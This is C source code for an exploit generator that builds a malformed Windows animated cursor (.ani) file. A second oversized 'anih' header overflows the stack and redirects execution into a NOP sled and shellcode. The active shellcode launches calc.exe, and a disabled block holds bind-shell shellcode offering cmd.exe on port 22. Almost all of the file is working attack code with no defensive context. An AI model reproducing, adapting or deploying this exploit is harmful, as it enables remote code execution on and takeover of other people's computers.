#include #include #include #include #include #include #define ID_RIFF 0x46464952 #define ID_ACON 0x4e4f4341 #define ID_ANIH 0x68696e61 #define ID_ICOP 0x504f4349 struct chunk_hdr { uint32_t c_id; uint32_t c_sz; }; struct riff { struct chunk_hdr r_ch; uint32_t r_form; }; struct ani_hdr { struct chunk_hdr a_ch; uint32_t a_hsz; uint32_t a_nframes; uint32_t a_numsteps; uint32_t a_width; uint32_t a_height; uint32_t a_bpp; uint32_t a_planes; uint32_t a_rate; uint32_t a_flags; }; struct ani_overflow { struct ani_hdr o_ani; uint8_t o_buf[44]; uint32_t o_eip; uint32_t o_ebp; }; struct payload { struct chunk_hdr p_ch; /* we choose this so that low bits of total ani length * becomes "\xeb\x10", ie. jmp +0x10, right in to our * copyright header where the payload is. */ uint8_t p_buf[4180]; }; static const char shellcode[]= #if 1 "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; #endif #if 0 /* Bind cmd.exe shell on port 22 */ "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x00\x16\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"; #endif /* TODO: Copy in 1 frame for icon preview stuff */ static void write_exploit(const char *fn, uint32_t eip) { FILE *f; struct riff r; struct ani_hdr a; struct ani_overflow o; struct payload p; uint8_t *end; end = p.p_buf + sizeof(p.p_buf); f = fopen(fn, "w"); /* Write riff header with ACON form id */ r.r_ch.c_id = ID_RIFF; r.r_ch.c_sz = (sizeof(r) - sizeof(r.r_ch)) + sizeof(a) + sizeof(o) + sizeof(p) - 1; r.r_form = ID_ACON; fwrite(&r, sizeof(r), 1, f); printf("RIFF size %u bytes (0x%.8x)\n", r.r_ch.c_sz, r.r_ch.c_sz); /* Payload header, must be first */ memset(p.p_buf, 0x90, sizeof(p.p_buf)); p.p_buf[0] = 0; p.p_ch.c_id = ID_ICOP; p.p_ch.c_sz = sizeof(p.p_buf); memcpy(end - (sizeof(shellcode) - 1), shellcode, sizeof(shellcode) - 1); fwrite(&p, sizeof(p), 1, f); /* First (legit) ani header subchunk */ memset(&a, 0, sizeof(a)); a.a_ch.c_id = ID_ANIH; a.a_ch.c_sz = sizeof(a) - sizeof(a.a_ch); a.a_hsz = a.a_ch.c_sz; a.a_nframes = 0x2; a.a_flags = 0x1; a.a_width = 0x10; a.a_height = 0x10; fwrite(&a, sizeof(a), 1, f); /* Second (malicious) ani header subchunk */ memset(&o, 0, sizeof(o)); o.o_ani.a_ch.c_id = ID_ANIH; o.o_ani.a_ch.c_sz = sizeof(o) - sizeof(o.o_ani.a_ch); o.o_eip = eip; o.o_ebp = 0xdeadbeef; fwrite(&o, sizeof(o), 1, f); fclose(f); printf("Payload = %u bytes, Shellcode = %u bytes, nopsled = %u bytes\n", sizeof(p.p_buf), sizeof(shellcode) - 1, sizeof(p.p_buf) - (sizeof(shellcode) - 1)); printf("%s: [eip 0x%.8x] written OK\n", fn, eip); } static int strtou32(const char *s, uint32_t *v) { unsigned long int ret; char *end = NULL; ret=strtoul(s, &end, 0); if ( end == s ) return -1; if ( ret == ULONG_MAX && errno == ERANGE ) return -1; *v = ret; if ( *end == '\0' ) return 0; return end - s; } int main(int argc, char **argv) { uint32_t addr; if ( argc < 2 || argc > 3 ) { fprintf(stderr, "Usage:\n $ %s [addr]\n", argv[0]); return EXIT_FAILURE; } /* This address is somewhere inside unicode.nls, if * we jump here then we get 0xffd3 (jmp *%ebx) * where %ebx was pointing to the start of the RIFF * file, muahaha */ addr = 0x277533; if ( argc > 2 ) { if ( strtou32(argv[2], &addr) ) { fprintf(stderr, "%s: bad addr: '%s'\n", argv[0], argv[2]); return EXIT_FAILURE; } } write_exploit(argv[1], addr); return EXIT_SUCCESS; }